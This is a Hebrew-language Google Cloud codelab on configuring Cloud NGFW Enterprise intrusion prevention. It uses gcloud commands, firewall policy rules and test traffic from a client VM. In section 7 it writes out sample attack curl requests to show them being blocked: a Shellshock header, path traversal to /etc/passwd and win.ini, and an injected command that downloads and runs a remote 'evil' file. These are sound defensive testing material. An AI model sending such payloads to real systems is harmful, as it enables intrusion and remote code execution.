Cloud NGFW Enterprise – שירות למניעת חדירות (ללא בדיקת TLS)

1. מבוא

Cloud Next Generation Firewall ‏ (NGFW)

Cloud Next Generation Firewall הוא שירות חומת אש מבוזרת לחלוטין עם יכולות הגנה מתקדמות, מיקרו-פילוח וכיסוי נרחב, שמטרתו להגן על עומסי העבודה שלכם ב-Google Cloud מפני מתקפות פנימיות וחיצוניות.

היתרונות של Cloud NGFW:

  • שירות חומת אש מבוזרת: Cloud NGFW מספק אכיפה מבוססת-מארח ומבוזרת לחלוטין בכל עומס עבודה, כדי לאפשר ארכיטקטורת אבטחה של אפס אמון.
  • הגדרה ופריסה פשוטות: Cloud NGFW מטמיע מדיניות חומת אש היררכית ורשתית שאפשר לצרף לצומת בהיררכיית המשאבים. המדיניות הזו מספקת חוויה עקבית של חומת אש בהיררכיית המשאבים של Google Cloud.
  • שליטה גרנולרית ומיקרו-פילוח: השילוב של כללי מדיניות של חומת אש ותגים שמנוהלים על ידי ניהול זהויות והרשאות גישה (IAM) מספק שליטה מדויקת בתעבורה מצפון לדרום וממזרח למערב, עד לרמת המכונה הווירטואלית הבודדת, ברשתות של ענן וירטואלי פרטי (VPC) ובארגונים.

‫Cloud NGFW זמין ברמות הבאות:

Cloud NGFW Enterprise

ב-Cloud NGFW Enterprise נוסף שירות למניעת פריצות (IPS), יכולת של שכבה 7, למארג חומות האש המבוזרות של Google Cloud. יש תמיכה בבדיקת TLS כדי לאפשר בדיקה של תעבורה מוצפנת ב-TLS, אבל זה לא נכלל בהיקף של ה-codelab הזה (אפשר לעיין ב-Cloud NGFW Enterprise Codelab with TLS Inspection).

עכשיו אפשר לפרוס בדיקות מהימנות של חומת אש מהדור הבא (NGFW) ברמה 7 עם אמצעי בקרה מפורטים, בלי לבצע שינויים בארכיטקטורת הרשת או בהגדרות הניתוב.

כדי להפעיל ולפרוס את אמצעי הבקרה של חומת אש בשכבה 7 עם IPS, צריך לבצע את המשימות הבאות:

  • יוצרים קבוצה של נקודות קצה מנוהלות של חומת אש אזורית ב-Google Cloud.
  • אופציונלי: יוצרים מדיניות לבדיקת TLS (לא מוסבר ב-codelab הזה)
  • אפשר ליצור הגדרת אמון (לא מוסבר ב-codelab הזה)
  • משייכים את נקודות הקצה האלה לרשתות של הענן הווירטואלי הפרטי (VPC) שבהן רוצים להשתמש בשירות Cloud NGFW Enterprise.
  • אפשר לבצע שינויים פשוטים במדיניות הקיימת של חומת האש ובכללי חומת האש כדי לציין את פרופילי מניעת האיומים עבור נתיבי התנועה השונים.

מדיניות חומת אש בין רשתות

מדיניות חומת אש בין רשתות פועלת כקונטיינר לכללי חומת אש. כללים שמוגדרים במדיניות חומת אש בין רשתות לא נאכפים בשום מקום עד שהמדיניות משויכת לרשת VPC. לכל רשת VPC יכולה להיות משויכת מדיניות חומת אש אחת. מדיניות חומת אש ברשת תומכת בתגים שמנוהלים על ידי IAM (או פשוט בתגים) בכללי חומת האש, שמחליפים את תגי הרשת הנוכחיים ויכולים לשמש לזיהוי עומס העבודה.

שיתוף מדיניות חומת אש בין רשתות ברשתות ושילוב עם תגים שמנוהלים על ידי IAM מפשטים מאוד את ההגדרה והניהול של חומות אש.

עם ההשקה של מדיניות חומת אש בין רשתות, מדיניות חומת האש של Google Cloud כוללת עכשיו את הרכיבים הבאים:

  1. מדיניות חומת אש היררכית
  2. כללי חומת אש של VPC
  3. מדיניות חומת אש בין רשתות ( גלובלית ואזורית)

מדיניות חומת אש היררכית נתמכת בצמתים של ארגונים ותיקיות בהיררכיית המשאבים, בעוד שכללי חומת אש של VPC ומדיניות חומת אש בין רשתות חלים ברמת ה-VPC. ההבדל העיקרי בין כללי חומת אש של VPC לבין מדיניות חומת אש בין רשתות הוא שכללי חומת אש של VPC אפשר להחיל רק על רשת VPC אחת, בעוד שמדיניות חומת אש בין רשתות אפשר לצרף לרשת VPC אחת או לקבוצה של רשתות VPC, בין היתר כדי לבצע חבילת עדכונים.

בנוסף, יש לנו גם את כללי חומת האש המשתמעים שמגיעים עם כל רשת VPC:

  • כלל יציאה שהפעולה שלו היא 'אישור' והיעד הוא 0.0.0.0/0
  • כלל כניסה שהפעולה שלו היא דחייה, והמקור הוא 0.0.0.0/0

כברירת מחדל, רצף האכיפה מוצג בדיאגרמה הבאה:

21b3bcabc469ffe.png

חשוב לדעת: אפשר להחליף את סדר האכיפה בין כללי חומת האש ב-VPC לבין מדיניות חומת האש הגלובלית של הרשת. הלקוחות יכולים לציין את סדר האכיפה בכל שלב באמצעות פקודת gcloud.

תגים שמנוהלים על ידי IAM

התגים החדשים שמשולבים בכללים של מדיניות חומת האש ברשת הם משאבים של צמדי מפתח/ערך שמוגדרים ברמת הארגון או ברמת הפרויקט בהיררכיית המשאבים של Google Cloud. תג כזה מכיל בקרת גישה של IAM, כפי שהשם מרמז, שמציינת למי יש הרשאה לבצע פעולות בתג. לדוגמה, הרשאות IAM מאפשרות לציין אילו חשבונות משתמשים יכולים להקצות ערכים לתגים ואילו חשבונות משתמשים יכולים לצרף תגים למשאבים. אחרי שמחילים תג על משאב, כללי חומת אש בין רשתות יכולים להשתמש בו כדי לאשר או לדחות תנועה.

התגים פועלים לפי מודל ירושת המשאבים של Google Cloud, כלומר התגים והערכים שלהם מועברים בהיררכיה מההורים שלהם. כתוצאה מכך, יכול להיות שתגים ייווצרו במקום אחד ואז ישמשו תיקיות ופרויקטים אחרים בהיררכיית המשאבים. פרטים על תגים והגבלת גישה זמינים בדף הזה.

חשוב לא לבלבל בין תגים לבין תגים של רשתות. האחרונים הם מחרוזות שאפשר להוסיף למכונות של Compute Engine. הן משויכות למכונה ונעלמות כשהמכונה מוצאת משימוש. כללי חומת האש של VPC עשויים לכלול תגי רשת, אבל מכיוון שהם לא נחשבים למשאבי ענן, הם לא כפופים לבקרת גישה של IAM.

הערה: במסמך הזה אנחנו משתמשים לסירוגין במונחים Tags ו-IAM-governed Tags.

מה תפַתחו

Codelab זה דורש פרויקט יחיד ויכולת ליצור רשת VPC עם קישוריות ציבורית, וידגים כיצד Cloud NGFW Enterprise יכול לספק פונקציונליות של IPS באמצעות:

  • בדיקת זרימות בתוך VPC או רשת משנה [מזרח-מערב]
  • בדיקת זרימות נכנסות מהאינטרנט [צפון-דרום]

הזרימות שייבדקו ייבחרו באמצעות פרמטרים תואמים של Cloud Firewall, כולל 5-tuple (כתובת IP של המקור, כתובת IP של היעד, פרוטוקול, יציאת המקור, יציאת היעד) ותגים. בדיקת TLS לא נכללת ב-codelab הזה.

52a0642ef8668ecf.png

בסיס הכללים של מדיניות חומת אש בין רשתות ייראה בערך כמו הטבלה הבאה:

עדיפות

כיוון

Target

מקור

יעד

פעולה

סוג

100

תעבורת נתונים יוצאת (egress)

Quarantine_Tag

הכול

הכול

דחייה

Essentials

1000

תעבורת נתונים נכנסת (Ingress)

Server_Tag

טווחי בדיקת התקינות

הכול

אישור

Essentials

2000

תעבורת נתונים נכנסת (Ingress)

הכול

טווחים של שרת proxy לאימות זהויות (IAP)

הכול

אישור

Essentials

3000

תעבורת נתונים נכנסת (Ingress)

הכול

Geo, GCTI

הכול

דחייה

רגיל

4000

תעבורת נתונים יוצאת (egress)

הכול

הכול

Geo, GCTI

דחייה

רגיל

5000

תעבורת נתונים יוצאת (egress)

הכול

הכול

שמות דומיין מלאים (FQDN) של עדכוני מערכת

אישור

רגיל

6000

תעבורת נתונים נכנסת (Ingress)

Server_Tag

10.0.0.0/24

הכול

IPS

Enterprise

7000

תעבורת נתונים נכנסת (Ingress)

Server_Tag

CloudNAT_IP

הכול

IPS

Enterprise

מה תלמדו

מה תצטרכו

  • פרויקט ב-Google Cloud
  • ידע בפריסת מופעים ובהגדרת רכיבי רשת
  • ידע בהגדרת חומות אש של VPC

‫2. לפני שמתחילים

יצירה או עדכון של משתנים

ב-Codelab הזה נעשה שימוש במשתנים כדי להקל על הטמעת הגדרות gcloud ב-Cloud Shell.

ב-Cloud Shell, מריצים את הפקודות הבאות ומחליפים את המידע שבתוך הסוגריים בהתאם לצורך (אם הפרויקט הרצוי כבר מוגדר, אפשר לדלג על הגדרת הפרויקט). משתמשים במשתנה אחר למשאבים ברמת הארגון אם נדרשים כמה נקודות קצה של חומת אש, למשל.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. הפעלת ממשקי ה-API

מפעילים את ממשקי ה-API אם עדיין לא עשיתם את זה:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. יצירת פרופיל אבטחה ונקודת קצה ב-Cloud NGFW Enterprise

יצירת נקודת הקצה של Cloud NGFW Enterprise נמשכת כ-20 דקות, ולכן היא תיווצר קודם. אפשר לבצע את ההגדרה הבסיסית במקביל ליצירת נקודת הקצה.

יוצרים את פרופיל האבטחה ואת קבוצת פרופילי האבטחה:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

הפלט אמור להיראות כך:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

מוודאים שהמשאבים נוצרו בהצלחה:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

הפלט אמור להיראות כך:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

יוצרים את נקודת הקצה של Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

מריצים את הפקודה הבאה כדי לוודא שנקודת הקצה נוצרת (STATE: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

תהליך יצירת נקודת הקצה נמשך כ-20 דקות. עוברים לקטע 'הגדרת הבסיס' כדי ליצור את המשאבים הנדרשים במקביל.

5. הגדרה בסיסית

אם אתם מעדיפים ליצור את משאבי הבסיס באופן ידני, אתם יכולים להמשיך לקטעים הבאים.

רשת VPC ותת-רשת

רשת VPC ותת-רשת

יוצרים את רשת ה-VPC והתת-רשת:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

יוצרים את Cloud Routers ואת שערי Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instances

יוצרים את המכונות של הלקוח ושל שרת האינטרנט:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

תגים ברמת הפרויקט

אם צריך, מקצים למשתמש את ההרשאות tagAdmin ו/או tagUser:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

יוצרים את המפתח והערכים של התג ברמת הפרויקט:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

קישור תגים למופעים:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

מדיניות חומת אש גלובלית

יוצרים מדיניות חומת אש גלובלית ברשת:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

יוצרים כללים ב-Cloud Firewall Essential כדי לחסום תעבורת נתונים ממכונות שהוכנסו להסגר (נוצרו כדוגמה בלבד, לא נעשה בהם שימוש ב-codelab הזה) ולאפשר תעבורת נתונים מטווחי בדיקת תקינות ושרת proxy לאימות זהויות:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

יוצרים כללים של Cloud Firewall Standard כדי לחסום תעבורת נתונים נכנסת ויוצאת ממדינות שהוטל עליהן אמברגו, מכתובות IP זדוניות ידועות ומצמתי יציאה של ToR, ולאפשר רק תעבורת נתונים יוצאת ל-FQDN ספציפיים לצורך עדכוני מערכת (הכללים האלה נוצרו כדוגמה בלבד, ולא נעשה בהם שימוש בסדנת הקוד הזו):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

יוצרים כללים ב-Cloud Firewall כדי לאפשר תעבורת נתונים נכנסת ממזרח למערב / בתוך תת-רשת ומצפון לדרום / מהאינטרנט מהטווחים הספציפיים (הכללים האלה יעודכנו כדי להפעיל את Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

משייכים את מדיניות חומת האש לרשת ה-VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

מאזן עומסי רשת חיצוני מסוג TCP/UDP

שומרים כתובת IP חיצונית ויוצרים את קבוצת המופעים ואת בדיקת התקינות:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

יצירת שירות קצה עורפי וכלל העברה:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Cloud NGFW Enterprise Endpoint Association

אם צריך, מגדירים מחדש את משתני הסביבה.

מוודאים שיצירת נקודת הקצה של חומת האש ב-Cloud הושלמה בהצלחה. ממשיכים רק כשהסטטוס הוא ACTIVE (במהלך היצירה הסטטוס הצפוי הוא CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

משייכים את נקודת הקצה של Cloud NGFW Enterprise לרשת ה-VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

תהליך השיוך נמשך כ-10 דקות. ממשיכים רק כשהסטטוס הוא ACTIVE (הסטטוס הצפוי במהלך תהליך היצירה הוא CREATING):

gcloud network-security firewall-endpoint-associations list

הפלט אמור להיראות כך:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

אפשר להריץ את הפקודה הבאה כדי לקבל פרטים נוספים:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

הפלט אמור להיראות כך:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. כללי בדיקה של Cloud NGFW Enterprise

פותחים כרטיסייה חדשה ומתחילים חיבור SSH למכונה הווירטואלית של הלקוח דרך IAP (תצטרכו להגדיר מחדש את המשתנים בכרטיסייה החדשה):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

מגדירים את המשתנים הנדרשים בסשן ה-SSH ומגדירים את המשתנים (חשוב לוודא שהערכים נכונים):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

מריצים curl לשני כתובות ה-IP כדי לוודא שאפשר להגיע אליהן:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

התוצאה הצפויה לשתי בקשות ה-curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

שליחת מתקפות לדוגמה לכתובת ה-IP של השרת הפנימי (תנועה מזרח-מערב / תנועה בתוך ה-VPC). שרת האינטרנט צריך להגיב לכל הבקשות, כדי לוודא שאין בדיקה או מניעה ברמה 7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

שולחים מחדש את דגימות המתקפות לכתובת ה-IP של השרת החיצוני דרך Cloud NAT (תנועה נכנסת מצפון לדרום), ובאופן דומה, שרת האינטרנט צריך להגיב לכל הבקשות:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

תוצאות צפויות עבור כתובות IP ציבוריות ופרטיות:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

חוזרים ל-Cloud Shell ומעדכנים את כללי ה-Ingress הקיימים כדי להפעיל בדיקה ברמה 7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

אפשר גם לתאר את כללי חומת האש כדי לוודא ששניהם עודכנו בהצלחה:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

הפלט אמור להיראות כך:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

כלל 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

הפלט אמור להיראות כך:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

חוזרים למכונת ה-VM של הלקוח ושולחים מחדש את ההתקפות לדוגמה לכתובת ה-IP של השרת הפנימי (בדיקה של תנועה מזרח-מערב / בתוך VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

שולחים מחדש את ההתקפות לדוגמה לכתובת ה-IP של השרת החיצוני דרך Cloud NAT (בדיקה נכנסת מצפון לדרום):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

לא מתקבלות תגובות להתקפות הראשונות, בהתאם לפלט הצפוי שמוצג בהמשך, מה שמאשר שההתקפות ברמת חומרה גבוהה נחסמות עכשיו.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

כדי לאמת את היומנים, עוברים אל Network Security (אבטחת רשת) > Threats (איומים) במסוף Cloud (ייתכן שיהיה צורך לרענן כמה פעמים אם ההתקפות עדיין לא מוצגות).

daa535fcc34873aa.png

בוחרים באחת מהמתקפות ולוחצים על 'הצגת יומן ביקורת' בצד שמאל (אפשר לפתוח בכרטיסייה חדשה כדי לחזור בקלות). מרחיבים את ההתקפה כדי לראות את הפרטים:

5f97cdef79e42eff.png

אופציונלי: מחליפים את המסנן של כלי החיפוש ביומן בשאילתה הבאה:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

רשומות ביומן האיומים אמורות להופיע כמו בדוגמה הבאה:

5ea9581a7eb694c5.png

אפשר לאמת מנות שחומת האש של Cloud חסמה באמצעות המסנן הבא ב-Log Explorer (מועיל לפתרון בעיות):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

אפשר להמשיך לבדיקת תנועת האינטרנט (אופציונלי) או לסגור את סשן ה-SSH ולעבור לפרק הבא כדי לבצע את שלבי הניקוי.

[אופציונלי] בדיקת תנועה באינטרנט

